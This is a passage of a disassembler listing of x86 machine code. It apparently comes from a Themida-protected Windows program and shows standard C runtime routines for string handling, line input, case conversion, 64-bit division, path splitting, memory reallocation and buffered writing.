sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A loc_418E67: ; DATA XREF: Themida_:0050C9E6o mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DDp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_48A0A8 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_4397AC, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_48B561[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_48B688 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_48B680 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 call near ptr 2800000h nop mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_48A074, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_43B7E4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_48A074, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_48A074, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 267029Bh nop cmp eax, 0FFFFFFFFh jnz short loc_419819 nop call near ptr 2630313h push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_48A014, 0Dh mov dword_48A018, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- 